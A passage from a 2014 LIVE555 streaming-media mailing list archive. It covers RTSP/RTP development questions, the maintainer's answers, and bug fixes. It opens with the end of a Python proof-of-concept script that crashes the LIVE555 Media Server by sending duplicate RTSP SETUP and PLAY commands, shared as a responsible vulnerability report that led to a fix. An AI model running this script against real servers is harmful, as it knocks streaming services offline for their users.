RTP/AVP/UDP;unicast;client_port=34002-34003\r\n") send("PLAY " + url + " RTSP/1.0\r\n") #send("PAUSE " + url + " RTSP/1.0\r\n") send("SETUP " + url + "/track1 RTSP/1.0\r\nTransport: RTP/AVP/UDP;unicast;client_port=35000-35001\r\n") send("PLAY " + url + " RTSP/1.0\r\n") s.close() De: ?Ross Finlayson? finlayson at live555.com ?: ?LIVE555 Streaming Media - development & use? live-devel at ns.live555.com Envoy?: Mardi 15 Juillet 2014 19:58:34 Objet: Re: [Live-devel] DoS in Media Server Please post the details here. If the issue is significant, then we?ll update the code, and people will be encouraged to upgrade. Ross Finlayson Live Networks, Inc. http://www.live555.com/ live-devel mailing list live-devel at lists.live555.com http://lists.live555.com/mailman/listinfo/live-devel ? -- Yann Fleutot Stormshield Network Security developer Arkoon Netasq 49 rue Billancourt - FR 92100 Boulogne-Billancourt Twitter - LinkedIn - www.stormshield.eu -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: image001.png Type: image/png Size: 7129 bytes Desc: not available URL: From david.cassany at i2cat.net Wed Jul 16 04:47:36 2014 From: david.cassany at i2cat.net (David Cassany Viladomat) Date: Wed, 16 Jul 2014 13:47:36 +0200 Subject: [Live-devel] use ServerMediaSubsession for RTP & RTCP streaming In-Reply-To: <23B2FF8A-EAA4-4EE9-B129-BABD05C7AABE@live555.com> References: <23B2FF8A-EAA4-4EE9-B129-BABD05C7AABE@live555.com> Message-ID: Thanks Ross for your detailed answers, Sure, we just make subclasses of livemedia library installing it to the system as a shared library from your latest source (at least while developing we keep upgrading liveMedia). And yes we want to be able to stream to RTSP clients and to non RTSP clients. So I guess we will have to go for your suggestion of usign the stream replicator (thanks for the suggestion, it looks pretty straight forward!). I completely agree that it looks like complicating things unnecessarily, but the use case we are trying to implement is to built a system that makes some multimedia process in a video conference scenario, so it stands behind and MCU. In fact we open an RTPSource for receving from an MCU -> we process some data -> and we resend it to the MCU (the MCU itselt tells to our software via a REST API the IP and Port were is going to listen for), as you sugest usign the apropiate RTPSink subclass direclty. However in this scenario we wanted as well to make the stream available via standard RTSP in order to be able to be a watcher of the videoconference (not a participant) using any standard RTSP client. Because of that when I integrated the RTSP server to our software and realized that using the flag fReuseFirstSource to true it was capable to stream to an arbitrary number of clients I though about trying emulate RTSP negotiation via direct calls to the desired ServerMediaSubsesion in order to directly stream to a non RTSP client, avoiding this way to handle different sources and let the subsession do the work. Anyway, I undersand that this wired way of using ServerMediaSubsession is far from how they are supposed to be used, so trying to achieve this behaviour it may lead to a nonesense dirty hacking. Thanks for the advice. Regards, David Cassany 2014-07-15 16:35 GMT+02:00 Ross Finlayson : > Now I am trying to achieve is to be able to stream the same source via > RTSP (to any client that connects to the rtsp url) and via an static > RTP/RTCP session (by static I mean that I want the server to stream to an > specific IP and port, passed as a command argument for instance)*. * > > > Reading this again, I suspect that - because, in the second case, your > clients won't be using RTSP - you wouldn't use a > "PassiveServerMediaSubsession", or *any* subclass of > "ServerMediaSubsession" for this. (The "ServerMediaS*ession" classes are > used specifically to implement RTSP servers.) > > Instead, I suspect that you'll want to 'replicate' your original stream > source using the "StreamReplicator" class (see the "testReplicator" demo > application for an example of how to use this). One replica will be used > as a source to your "OnDemandServerMediaSubsession" subclass (with > "reuseFirstSource" as "True") - for streaming to your normal RTSP clients. > The other replica would be fed directly into a "RTPSink" (subclass) object > that you'd create (along with a "RTCPInstance") as a result of your > command-line argument. > > But anyway, why bother streaming "to an specific IP and port, passed as a > command argument for instance"? Why complicate your life unnecessarily? > Why not just use RTSP for everything? > > Ross Finlayson > Live Networks, Inc. > http://www.live555.com/ > > > _______________________________________________ > live-devel mailing list > live-devel at lists.live555.com > http://lists.live555.com/mailman/listinfo/live-devel > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Thu Jul 17 21:18:42 2014 From: finlayson at live555.com (Ross Finlayson) Date: Thu, 17 Jul 2014 21:18:42 -0700 Subject: [Live-devel] DoS in Media Server In-Reply-To: <1289393643.2531447.1405498295316.JavaMail.zimbra@stormshield.eu> References: <1853927916.2463386.1405437956901.JavaMail.zimbra@stormshield.eu> <1EA68CE5-8F8C-40AB-A524-989876D424BF@live555.com> <1289393643.2531447.1405498295316.JavaMail.zimbra@stormshield.eu> Message-ID: <7C418263-C81D-44F6-BCB3-3D0AD4E75589@live555.com> Yann, Many thanks for the report. Yes, the RTSP server code was not properly handling the case when more than one "SETUP" command - from the same client - was performed on the same track. (The particular crash that you noted happened only when streaming a MPEG Program Stream file, but the bug was potentially applicable to any kind of stream.) I have now installed a new version (2014.07.18) of the "LIVE555 Streaming Media" software to fix this bug, and have also installed new versions of the pre-built "LIVE555 Media Server" application binaries. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From rajeshgupta1253 at gmail.com Wed Jul 16 02:21:12 2014 From: rajeshgupta1253 at gmail.com (rajesh gupta) Date: Wed, 16 Jul 2014 14:51:12 +0530 Subject: [Live-devel] Streaming from live source Message-ID: Dear All, Is that possible from Live555MediaServer can stream the data form my webcamera . Regards Rajesh -------------- next part -------------- An HTML attachment was scrubbed... URL: From frombach002 at gmail.com Thu Jul 17 04:26:54 2014 From: frombach002 at gmail.com (Alix Frombach) Date: Thu, 17 Jul 2014 07:26:54 -0400 Subject: [Live-devel] Using openRTP for receiving MPEG TS Message-ID: Hello, I am able to use the openRTSP client for receiving H.264 and MP4 data from an IP camera fine, but cannot seem to find a way to receive MPEG TS from the same camera. Is this a supported feature of openRTSP? I saw a method of piping the received H.264 video data to MPEG TS using testH264VideoToTransportStream, but this is not desired as I would like to capture video and audio simultaneously. Thanks in advance -------------- next part -------------- An HTML attachment was scrubbed... URL: From cuonglm1489 at gmail.com Thu Jul 17 23:50:13 2014 From: cuonglm1489 at gmail.com (=?UTF-8?B?Q8aw4budbmcgTMOq?=) Date: Fri, 18 Jul 2014 13:50:13 +0700 Subject: [Live-devel] RTSP Server: streaming filr .mp4 Message-ID: Hi! I 'm using your live555. I very like it. I have builded and streamed file .mkv, .h264, .m4v..., it can operate very good. When I try to streamed file .mp4, i have used VLC client capture URL but it can't display and error. Can you help me to stream file .mp4 in RTSP server? Thank you very much! -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Tue Jul 22 14:55:48 2014 From: finlayson at live555.com (Ross Finlayson) Date: Tue, 22 Jul 2014 17:55:48 -0400 Subject: [Live-devel] Using openRTP for receiving MPEG TS In-Reply-To: References: Message-ID: <92227B42-542C-4D82-A760-81FF2B4209F3@live555.com> > I am able to use the openRTSP client for receiving H.264 and MP4 data from an IP camera fine, but cannot seem to find a way to receive MPEG TS from the same camera. Is this a supported feature of openRTSP? No. However, you could write your own RTSP client (perhaps using the "testRTSPClient" demo application as a model) that feeds the incoming video and audio data streams into a Transport Stream. It would do this by first creating a "MPEG2TransportStreamFromESSource", then - using the "addNewVideoSource()" and "addNewAudioSource()" member functions - adding each of the input streams to it. You could then feed the "MPEG2TransportStreamFromESSource" object into a "FileSink" (or some other 'sink' object, if you wish), and then call "startPlaying()" on that. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Tue Jul 22 20:45:09 2014 From: finlayson at live555.com (Ross Finlayson) Date: Tue, 22 Jul 2014 23:45:09 -0400 Subject: [Live-devel] RTSP Server: streaming filr .mp4 In-Reply-To: References: Message-ID: <9C64E513-1C56-49DE-80FF-9AD92C021482@live555.com> > I 'm using your live555. I very like it. > I have builded and streamed file .mkv, .h264, .m4v..., it can operate very good. > When I try to streamed file .mp4, i have used VLC client capture URL but it can't display and error. > Can you help me to stream file .mp4 in RTSP server? Sorry, but we don't support the streaming of ".mp4" files. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From pvmagacho at gmail.com Mon Jul 21 07:03:06 2014 From: pvmagacho at gmail.com (Paulo Vitor Magacho da Silva) Date: Mon, 21 Jul 2014 11:03:06 -0300 Subject: [Live-devel] RTSP range clock/npt SDP parse Message-ID: Hi, looking into file liveMedia/MediaSession.cpp I believe there is an extra space in parseRangeAttribute method. Instead of: return sscanf(sdpLine, "a=range: npt = %lg - %lg", &startTime, &endTime) == 2; I think it should read: return sscanf(sdpLine, "a=range:npt=%lg - %lg", &startTime, &endTime) == 2; Instead of: int sscanfResult = sscanf(sdpLine, "a=range:clock=%[^-\r\n]-%[^\r\n]", as, ae); I think it should read: int sscanfResult = sscanf(sdpLine, "a=range:clock=%[^-\r\n]-%[^\r\n]", as, ae); Could you confirm if this is indeed the case ? Or can you at least support both cases ? Thank you, Paulo Vitor -------------- next part -------------- An HTML attachment was scrubbed... URL: From post at m-rahlff.dk Wed Jul 23 08:17:59 2014 From: post at m-rahlff.dk (Michael Rahlff) Date: Wed, 23 Jul 2014 17:17:59 +0200 Subject: [Live-devel] Problem setting rtpmap on Flir A320 thermal camera. Message-ID: <901D7B32-DC10-4E8B-9F7F-A421EBE80734@m-rahlff.dk> Dear Sirs. I am having trouble trying to get a thermal camera (Flir A320) to stream the raw data. My goal is to receive raw data from a Flir A320 (rtpmap 102 [See below output] ). I have successfully connected to and streamed MPEG4 encoded video from the camera with VLC, but as mentioned, I need to change to rtpmap 102 to get the raw data instead. I have downloaded ?live555? and looked at testRTSPClient.cpp example, but cannot see where to set rtpmap. Is it correct understanding, I need to make my own class and then inherence from the RTPSource class? According to the Flir A320 manual, the transport format is as described in RFC4175 (RTP - payload format for uncompressed video) Flir A320 SDP DESCRIBE response: v=0 o=- 0 0 IN IP4 169.0.0.2 s=IR stream i=Live infrared t=now- c=IN IP4 169.0.0.2 m=video 0 RTP/AVP 96 97 98 99 100 102 103 a=control:rtsp://169.0.0.2/sid=96 a=framerate:30 a=rtpmap:96 MP4V-ES/90000 a=framesize:96 640-480 a=fmtp:96 profile-level-id=1;config=000001B003000001B509000001010000012002045D4C28A021E0A4C7 a=rtpmap:97 MP4V-ES/90000 a=framesize:97 320-240 a=fmtp:97 profile-level-id=1;config=000001B003000001B509000001010000012002045D4C285020F0A4C7 a=rtpmap:98 MP4V-ES/90000 a=framesize:98 160-128 a=fmtp:98 profile-level-id=1;config=000001B003000001B509000001010000012002045D4C282820A0A4C7 a=rtpmap:99 FCAM/90000 a=framesize:99 320-240 a=fmtp:99 sampling=mono; width=320; height=240; depth=16 a=rtpmap:100 FCAM/90000 a=framesize:100 160-120 a=fmtp:100 sampling=mono; width=160; height=120; depth=16 a=rtpmap:102 raw/90000 a=framesize:102 320-240 a=fmtp:102 sampling=mono; width=320; height=240; depth=16 a=rtpmap:103 raw/90000 a=framesize:103 160-120 a=fmtp:103 sampling=mono; width=160; height=120; depth=16 Thanks in advance Best regards Michael Rahlff Holsteinsgade 35B 8300 Odder Tlf: 407-408-22 post at m-rahlff.dk www.m-rahlff.dk -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Wed Jul 23 08:45:40 2014 From: finlayson at live555.com (Ross Finlayson) Date: Wed, 23 Jul 2014 11:45:40 -0400 Subject: [Live-devel] Problem setting rtpmap on Flir A320 thermal camera. In-Reply-To: <901D7B32-DC10-4E8B-9F7F-A421EBE80734@m-rahlff.dk> References: <901D7B32-DC10-4E8B-9F7F-A421EBE80734@m-rahlff.dk> Message-ID: There are a couple of issues here: 1/ We currently do not implement the RTP payload format "video/RAW" (as defined in RFC 4175), so we cannot currently receive (or transmit) that payload format. Support for that payload format might get added sometime in the future - as a 'funded project' - if there is sufficient interest. 2/ We currently do not support SDP "m=" lines that contain more than one RTP payload format number (e.g., "96 97 98 99 100 102 103" in your example). Currently, if we see such a line, we handle only the first RTP payload format number (i.e., 96 in your example). That's why you were able to receive the MPEG-4 video stream from the camera. We currently have no way to demultiplex an incoming RTP stream that uses more than one RTP payload format number. This is a bug, and will probably be fixed in the future (no ETA, however). If you were able to reconfigure your camera to put the RTP payload format number for 'raw' video (102, in your example) as the first one in the SDP "m=" line, then our code would be able to receive it, when/if we supported the "video/RAW" RTP payload format (see 1/). Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Thu Jul 24 07:22:38 2014 From: finlayson at live555.com (Ross Finlayson) Date: Thu, 24 Jul 2014 10:22:38 -0400 Subject: [Live-devel] RTSP range clock/npt SDP parse In-Reply-To: References: Message-ID: > looking into file liveMedia/MediaSession.cpp I believe there is an > extra space in parseRangeAttribute method. > > Instead of: > return sscanf(sdpLine, "a=range: npt = %lg - %lg", &startTime, &endTime) == 2; > I think it should read: > return sscanf(sdpLine, "a=range:npt=%lg - %lg", &startTime, &endTime) == 2; No. The existing code is correct. Note from "man sscanf": "White space (such as blanks, tabs, or newlines) in the format string match any amount of white space, ***including none***, in the input." Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From m.porsch at intenta.de Thu Jul 24 09:34:25 2014 From: m.porsch at intenta.de (Marco Porsch) Date: Thu, 24 Jul 2014 16:34:25 +0000 Subject: [Live-devel] RFC4175 uncompressed video streaming: variable payload header length Message-ID: <184d1975a3594cf4aeb9f29e1ece2788@DB4PR04MB442.eurprd04.prod.outlook.com> Hello, I am currently trying to implement uncompressed video streaming according to RFC4175. An issue that I struggle with, is that the payload header is variable in length (see [1]). The header length depends on packet size, image line length and current fragmentation offset. (I use some simplifications concerning color sampling for now. Also the payload header is not yet evaluated except for the continuation flag.) I can calculate the header length and write the header accordingly in my subclass' doSpecialFrameHandling() function that calls setSpecialHeaderBytes(). But on the receiver side I always see image line offset artefacts, i.e. one or multiple lines shifted left/right. The receiver code should be alright, as it just looks for the "continuation" flag to determine the header length and skips the header by setting "resultSpecialHeaderSize" accordingly. The issue seems to be in the order of events concerning doSpecialFrameHandling() and specialHeaderSize(). My subclass' specialHeaderSize() is called called from MultiFramedRTPSink.cpp before the header is written in my doSpecialFrameHandling(). Thus, it seems I have to predict the header size one fragment ahead? But in that case I do not yet know how large "numBytesInFrame" is, which seems to change depending on my previously written header sizes... I also tried using setFrameSpecificHeaderBytes() and frameSpecificHeaderSize(), but the result was just a totally garbled and twisted image on the receiver side. Yes, this is all a bit confusing. Maybe I am just doing something totally wrong. Maybe you could clarify on how to cope with variable per-frame payload header lengths at all? Cheers, Marco Porsch [1] http://tools.ietf.org/html/rfc4175 PS: Please let's not have a discussion on the craziness of uncompressed video streaming in high resolution. I am aware that it is. =) From finlayson at live555.com Thu Jul 24 09:48:47 2014 From: finlayson at live555.com (Ross Finlayson) Date: Thu, 24 Jul 2014 12:48:47 -0400 Subject: [Live-devel] RFC4175 uncompressed video streaming: variable payload header length In-Reply-To: <184d1975a3594cf4aeb9f29e1ece2788@DB4PR04MB442.eurprd04.prod.outlook.com> References: <184d1975a3594cf4aeb9f29e1ece2788@DB4PR04MB442.eurprd04.prod.outlook.com> Message-ID: > I am currently trying to implement uncompressed video streaming according to RFC4175. Because this is likely to be something of general use (e.g., someone else was asking about this just yesterday), I suggest posting the code that you have so far (i.e., for your subclass of "MultiFramedRTPSink" (for sending) and "MultiFramedRTPSource" (for receiving)) to the mailing list, and I'll take a look at it, and see if I can clean it up to include in the LIVE555 source code. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From j.shemitz at samsung.com Thu Jul 24 11:39:10 2014 From: j.shemitz at samsung.com (Jon Shemitz) Date: Thu, 24 Jul 2014 18:39:10 +0000 Subject: [Live-devel] Decode Secure RTP on Android, using MediaCodec + MediaCrypto? Message-ID: <55723A92899F254EBC84A8700876ED855021AF@sisaex01sj> I hope this isn't spam: I'm using VLC to stream camera output over RTSP and, so far as I know, VLC relies on live555 code for that. Anyhow (as per http://stackoverflow.com/questions/24920200/which-mediacrypto-uuid-do-you-use-with-secure-rtp) I've written some Android code that does a nice job decoding H264 format RTSP video, using the MediaCodec. But when I have VLC use Secure RTP, I need to pass the MediaCodec a MediaCrypto instance ... which requires a UUID and a byte array of "initialization data". Can anyone here point me in the right direction? -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Thu Jul 24 12:14:45 2014 From: finlayson at live555.com (Ross Finlayson) Date: Thu, 24 Jul 2014 15:14:45 -0400 Subject: [Live-devel] Decode Secure RTP on Android, using MediaCodec + MediaCrypto? In-Reply-To: <55723A92899F254EBC84A8700876ED855021AF@sisaex01sj> References: <55723A92899F254EBC84A8700876ED855021AF@sisaex01sj> Message-ID: <4EDA89D3-F251-4D22-AC70-6622830E6E06@live555.com> > I hope this isn?t spam: I?m using VLC to stream camera output over RTSP and, so far as I know, VLC relies on live555 code for that. Actually, no. VLC uses the "LIVE555 Streaming Media" code only when *receiving* a RTSP stream - i.e., when it's a RTSP *client*. When VLC is used as a RTSP *server*, it uses it's own 'jury rigged' implementation of RTSP and RTP/RTCP. So, you'll need to post your question to a VLC mailing list. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From lkxkfl at hotmail.com Wed Jul 23 18:03:54 2014 From: lkxkfl at hotmail.com (Xuan) Date: Thu, 24 Jul 2014 09:03:54 +0800 Subject: [Live-devel] How to combine live H.264 source and AAC source Message-ID: ???: Xuan [mailto:lkxkfl at hotmail.com] ????: 2014?7?23? 23:01 ???: live-devel at lists.live555.com ??: How to combine live H.264 source and AAC source Hello, I am working on a testing program based on live555. In my program, I use a thread to capture video frames by webcam, and another thread to capture audio frames. In each thread, both video and audio frames are encoded with ffmpeg. Then I use a third thread to stream one of them. My problem is that streaming either of them is Ok, but how can I stream them together? If I do like this in a thread: sms->addSubsession(PassiveServerMediaSubsession::createNew(*vSink, rtcp)); sms->addSubsession(PassiveServerMediaSubsession::createNew(*aSink, audioRtcp)); rtspServer->addServerMediaSession(sms); H264RealTimeStreamSource* naluSource = H264RealTimeStreamSource::createNew(*env_live,&pThis->videoCList2,frame_rate ); h264Source = H264VideoStreamDiscreteFramer::createNew(*env_live, naluSource); adtsSource = ADTSRealTimeStreamSource::createNew(*env_live,&pThis->audioCList,1,44100,2,N ULL); pThis->startVideoLive = vSink->startPlaying(*h264Source, afterPlayingLiveH264, NULL); pThis->startAudioLive = aSink->startPlaying(*adtsSource, afterPlayingLiveAAC, NULL); I can only receive video frames with VLC player, and also timestamp of VLC player is rather unstable. Could I do anything wrong, or maybe I should stream h.264 and aac in different thread rather than in one thread at the same time? Thank you a lot. Looking forward for reply! Xuan -------------- next part -------------- An HTML attachment was scrubbed... URL: From soupim at gmail.com Thu Jul 24 05:31:11 2014 From: soupim at gmail.com (ChaSeop Im) Date: Thu, 24 Jul 2014 21:31:11 +0900 Subject: [Live-devel] Problem with RTPInterface::sendPacket method Message-ID: Hi. I have implemented a RTSP server with own recording files. The problem occurs when removed stream socket while sending packet over tcp sockets. When packet sending is failed in RTPInterface::sendDataOverTCP method, it called RTPInterface::removeStreamSocket method. call stack like this : RtspPlaybackServerTest.exe!RTPInterface::removeStreamSocket(int sockNum=444, unsigned char streamChannelId='?') RtspPlaybackServerTest.exe!RTPInterface::sendDataOverTCP(int socketNum=444, const unsigned char * data=0x000000528417e860, unsigned int dataSize=4, bool forceSendToSucceed=false) RtspPlaybackServerTest.exe!RTPInterface::sendRTPorRTCPPacketOverTCP(unsigned char * packet=0x000000528b219070, unsigned int packetSize=1448, int socketNum=444, unsigned char streamChannelId='\0') RtspPlaybackServerTest.exe!RTPInterface::sendPacket(unsigned char * packet=0x000000528b219070, unsigned int packetSize=1448) RTPInterface::removeStreamSocket delete streamPtr. This occur crash in RTPInterface::sendPacket. because values of streams and streams->fNext are not valid. When I added break; after success = False; statement, crash is not occured. but, I don't know this is right. how to fix it? -------------- next part -------------- An HTML attachment was scrubbed... URL: From pvmagacho at gmail.com Thu Jul 24 07:36:40 2014 From: pvmagacho at gmail.com (Paulo Vitor Magacho da Silva) Date: Thu, 24 Jul 2014 11:36:40 -0300 Subject: [Live-devel] RTSP range clock/npt SDP parse In-Reply-To: References: Message-ID: I've tested in iOS and it only recognized the line using the second version. Could the implementation in iOS of sscanf be slightly different ? Thank you 2014-07-24 11:22 GMT-03:00 Ross Finlayson : > looking into file liveMedia/MediaSession.cpp I believe there is an > extra space in parseRangeAttribute method. > > Instead of: > return sscanf(sdpLine, "a=range: npt = %lg - %lg", &startTime, &endTime) > == 2; > I think it should read: > return sscanf(sdpLine, "a=range:npt=%lg - %lg", &startTime, &endTime) == 2; > > > No. The existing code is correct. Note from "man sscanf": > > "White space (such as blanks, tabs, or newlines) in the format string match > any amount of white space, ***including none***, in the input." > > > Ross Finlayson > Live Networks, Inc. > http://www.live555.com/ > > > _______________________________________________ > live-devel mailing list > live-devel at lists.live555.com > http://lists.live555.com/mailman/listinfo/live-devel > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Thu Jul 24 17:43:54 2014 From: finlayson at live555.com (Ross Finlayson) Date: Thu, 24 Jul 2014 20:43:54 -0400 Subject: [Live-devel] How to combine live H.264 source and AAC source In-Reply-To: References: Message-ID: <5A1F641F-27E0-4FAC-A676-058E43FB6F91@live555.com> > My problem is that streaming either of them is Ok That's good, because it suggests that there's not much wrong with your application. > , but how can I stream them together? The most important thing here is that the "presentation time" values for both audio and video need to be accurate: Synchronized with each other, and aligned with 'wall clock' time - i.e., the times that you'd get by calling "gettimeofday()". Also, the port numbers that you use for audio and video RTP should be different. (The multicast address can be the same for both, but if so, the port numbers must be different.) Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Thu Jul 24 17:51:14 2014 From: finlayson at live555.com (Ross Finlayson) Date: Thu, 24 Jul 2014 20:51:14 -0400 Subject: [Live-devel] Problem with RTPInterface::sendPacket method In-Reply-To: References: Message-ID: Because this problem occurs with your own custom application, there's probably not much that we can do to help you (especially as your use of a "@gmail.com" email address suggests that you are just a casual hobbyist). But you should first make sure that you are using the latest version of the "LIVE555 Streaming Media" code (see ). We support only the latest version of the code, and in recent months there were several bug fixes related to "RTP/RTCP-over-TCP" streaming. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Thu Jul 24 18:13:25 2014 From: finlayson at live555.com (Ross Finlayson) Date: Thu, 24 Jul 2014 21:13:25 -0400 Subject: [Live-devel] RTSP range clock/npt SDP parse In-Reply-To: References: Message-ID: <29817F98-561C-40B6-A9DB-AFA4E37C2946@live555.com> On Jul 24, 2014, at 10:36 AM, Paulo Vitor Magacho da Silva wrote: > I've tested in iOS and it only recognized the line using the second version. What specific SDP line are you having trouble scanning? Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From imcs at telcoware.com Thu Jul 24 19:21:58 2014 From: imcs at telcoware.com (ChaSeopIm) Date: Fri, 25 Jul 2014 11:21:58 +0900 Subject: [Live-devel] Problem with RTPInterface::sendPacket method Message-ID: <019f01cfa7af$36b68380$a4238a80$@telcoware.com> Thanks Ross for your answer. I used latest version(2014.07.18). I don't know why only my own rtspserver is crashed. But, I think crash could occurred in several test programs because this is logically problem. RTPInterface::sendPacket call sendRTSPorRTCPPacketOverTCP method with socketNumber. sendRTSPorRTCPPacketOverTCP call sendDataOverTCP. sendDataOverTCP send method to send packet over tcp. If The send method failed, sendDataOverTCP could call removeStreamSoket method with scoketNumer from RTPInterface::sendPacket. The removeStreamSocket can delete streamPtr( is same pointer value using in sendPacket method). After return to for statement in sendPacket, streams = streams->fNext occur crash. Because streams(pointer) deleted in removeStreamSocket method. -------------- next part -------------- An HTML attachment was scrubbed... URL: From finlayson at live555.com Thu Jul 24 19:51:09 2014 From: finlayson at live555.com (Ross Finlayson) Date: Thu, 24 Jul 2014 22:51:09 -0400 Subject: [Live-devel] Problem with RTPInterface::sendPacket method In-Reply-To: <019f01cfa7af$36b68380$a4238a80$@telcoware.com> References: <019f01cfa7af$36b68380$a4238a80$@telcoware.com> Message-ID: <450B93C2-7501-4516-876E-10DDEB93D482@live555.com> > I don?t know why only my own rtspserver is crashed. But, I think crash could occurred in several test programs because this is logically problem. > RTPInterface::sendPacket call sendRTSPorRTCPPacketOverTCP method with socketNumber. > sendRTSPorRTCPPacketOverTCP call sendDataOverTCP. > sendDataOverTCP send method to send packet over tcp. > If The send method failed, sendDataOverTCP could call removeStreamSoket method with scoketNumer from RTPInterface::sendPacket. > The removeStreamSocket can delete streamPtr( is same pointer value using in sendPacket method). > After return to for statement in sendPacket, streams = streams->fNext occur crash. Because streams(pointer) deleted in removeStreamSocket method. Yes, you're right - this is a bug! I've just released a new version - 2014.07.25 - of the "LIVE555 Streaming Media" server that fixes this. Many thanks for the report. Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From m.porsch at intenta.de Fri Jul 25 00:21:34 2014 From: m.porsch at intenta.de (Marco Porsch) Date: Fri, 25 Jul 2014 07:21:34 +0000 Subject: [Live-devel] RFC4175 uncompressed video streaming: variable payload header length Message-ID: <5307c8918d4c4ff3b5a1571460d3df91@DB4PR04MB442.eurprd04.prod.outlook.com> Hi, >> I am currently trying to implement uncompressed video streaming according to RFC4175. > Because this is likely to be something of general use (e.g., someone else was asking about this just yesterday), I suggest posting the code that you have so far (i.e., for your subclass of "MultiFramedRTPSink" (for sending) and "MultiFramedRTPSource" (for receiving)) to the mailing list, and I'll take a look at it, and see if I can clean it up to include in the LIVE555 source code. Please find my current source code attached to this mail. The .patch file contains everything that ought to go into the library anyhow according to the license. The "UncompressedVideoRTPSink" is currently subclassed from "VideoRTPSink". The use of "1448" as fixed value for the frame size is just the current state of experimentation. In my "UncompressedVideoSink" class (that is too specific to post) I parse the SDP description string using attrVal_int("width"); attrVal_int("height"); attrVal_int("depth"); attrVal_str("sampling"); if (strcmp(samplingStr, "mono") == 0) ... and set up my player's receive buffer accordingly. Thank you for considering to add this feature. Please especially keep me updated on what I did wrong in my implementation attempt. And please, although it may not be especially mentioned in the RFC, please also consider the option for "mono" color sampling, as it is required in my case as well as for the earlier posted request on the Flir A320 camera. Regards, Marco Porsch -------------- next part -------------- A non-text attachment was scrubbed... Name: live555-uncompressed-video-rtp-source.patch Type: application/octet-stream Size: 11579 bytes Desc: live555-uncompressed-video-rtp-source.patch URL: -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: UncompressedVideoRTPSink.cpp URL: -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: UncompressedVideoRTPSink.h URL: From finlayson at live555.com Sun Jul 27 20:30:42 2014 From: finlayson at live555.com (Ross Finlayson) Date: Sun, 27 Jul 2014 23:30:42 -0400 Subject: [Live-devel] RFC4175 uncompressed video streaming: variable payload header length In-Reply-To: <5307c8918d4c4ff3b5a1571460d3df91@DB4PR04MB442.eurprd04.prod.outlook.com> References: <5307c8918d4c4ff3b5a1571460d3df91@DB4PR04MB442.eurprd04.prod.outlook.com> Message-ID: After reviewing RFC 4175 (and your code), I've decided not to implement this RTP payload format in the released "LIVE555 Streaming Media" source code (at least, not right now). There are a number of issues: 1/ For the "RTPSource" subclass (for receiving RTP packets using this payload format): The basic problem here is that the RTP payload format defined in RFC 4175 is very general. It allows a sender to (in principle) transmit just some lines of a frame, and even just parts of some lines of a frame. These lines (and/or parts of lines) could even be in some arbitrary order. It would be very difficult to implement a "RTPSource" subclass that handled all of this generality. In practice, however, most streams that use this payload format will probably do so in a 'simple and sane' way: By including all lines of each frame, in order. It would be possible to implement a "RTPSource" subclass that properly handled the reception of only 'simple and sane' streams - and that's basically what you've done with your "UncompressedVideoRTPSource" code. Even with this, however, there's a problem: The first (valid) line number of each frame is *not* zero (see section 3 of RFC 4175), so you can't - in general - use a line number of zero to determine when a packet begins a frame. (You can do this for *your* streams, though, because your "UncompressedVideoRTPSink" implementation starts line numbers at zero. However, you could not assume this in general, for other people's streams.) 2/ For the "RTPSink" subclass (for transmitting RTP packets using this payload format): As before, the RTP payload format is very flexible in what it lets you do, although you can "be conservative in what you send" when implementing your RTP sink, so that you transmit just a 'simple and sane' stream - and that's basically what you've done with your "UncompressedVideoRTPSink" code. As you noted, the fact that this RTP payload format has a variable-length 'payload-specific header' (i.e., depending on how many lines are packed into the packet) is problematic. (I was probably sitting in the room in the IETF meeting(s) several years ago when this payload format document was being discussed. I wish I'd realized at the time that this was going to be a problem, otherwise I would have objected at the time.) Your solution, however, seems reasonable: Use the output packet size to figure out - in advance - how many lines are going to be packed into the packet. Note, though, that you shouldn't hardwire a packet size of '1448 bytes' into your code. Instead, you can just call "ourMaxPacketSize()", which should give you the same value. One other thing that I noticed from your code, BTW, is that your "m_lineLength" member variable seems to be assigned to be a length in bits (i.e., "imgWidth * imgChannels"), but when you use it (e.g., by passing it as a parameter to your "getHeaderSize()" function), you seem to be assuming that it's a length in bytes. That looks like a bug to me... Ross Finlayson Live Networks, Inc. http://www.live555.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From cuonglm1489 at gmail.com Sun Jul 27 03:57:09 2014 From: cuonglm1489 at gmail.com (=?UTF-8?B?Q8aw4budbmcgTMOq?=) Date: Sun, 27 Jul 2014 17:57:09 +0700 Subject: [Live-devel] RTSP Server lost packet when stream multi-file. Message-ID: Hi! I'm use your class rtsp server. if I creat below, it is operator very good with multi-client connected to ServerMediaSession. No packet loss. ServerMediaSession* sms = ServerMediaSession::createNew(*env, streamName, streamName, descriptionString); sms->addSubsession(H264VideoFileServerMediaSubsession ::createNew(*env, inputFileName, reuseFirstSource)); rtspServer->addServerMediaSession(sms); but if I creat below, each 